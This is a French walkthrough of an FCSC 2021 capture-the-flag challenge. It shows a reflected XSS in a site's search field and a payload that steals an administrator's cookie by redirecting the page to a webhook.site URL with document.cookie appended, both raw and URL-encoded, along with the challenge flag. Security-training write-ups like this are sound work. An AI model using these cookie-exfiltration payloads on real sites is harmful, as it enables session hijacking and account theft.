FCSC 2021 - Intro - Random Search
Pourrez-vous voler le cookie de l’administrateur qui visite les pages ?
http://challenges2.france-cybersecurity-challenge.fr:5001/
Résolution
En explorant un peu les fonctionnalités du site, nous remarquons une page de contact permettant de signaler une vulnérabilités aux administrateurs du site.
Ceci est très intéressant car cela peut nous permettre une attaque de Cross Site Scripting (XSS) pour récupérer les cookies de l’administrateur.
Première étape, nous devons trouver une entrée vulnérable à une attaque de Cross Site Scripting (XSS). Bingo, le champ de recherche ne filtre pas les données utilisateur et permet une XSS. Si nous entrons cette payload dans la barre de recherche :
<script>alert(1)</script>
Nous obtenons une XSS :
Nous allons donc créer une payload permettant d’exfiltrer les cookies du navigateur qui visite la page. Pour cela, j’ai utilisé le site webhook.site permettant de recevoir des requêtes HTTP et donc très utile pour exfiltrer des cookies. Pour forcer le navigateur à changer de page, il suffit de changer la valeur de la variable window.location
en Javascript comme ceci :
<script>
window.location="https://webhook.site/ca1e06eb-8390-41d5-8f8b-0dff4baafcda/?c="+document.cookie
</script>
Ensuite, il suffit ensuite d’URLencoder cette payload, et de la placer dans le paramètre search
passé en GET dans l’URL :
http://challenges2.france-cybersecurity-challenge.fr:5001/index.php?search=%3Cimg+src%3Dx+onerror%3D%27window.location%3D%22https%3A%2F%2Fwebhook.site%2Fca1e06eb-8390-41d5-8f8b-0dff4baafcda%2F%3Fc%3D%22%2Bdocument.cookie%27%3E
Ensuite nous envoyons cette URL à l’administrateur via le formulaire de contact pour signaler une vulnérabilité, et nous n’avons plus qu’a attendre que l’administrateur accède à notre lien.
Quelques minutes plus tard, nous voyons une requête apparaitre dans le webhook.site :
Et nous voyons le flag dans les cookies exfiltrés :
FCSC{4e0451cc88a9a96e7e46947461382008d8c8f4304373b8907964675c27d7c633}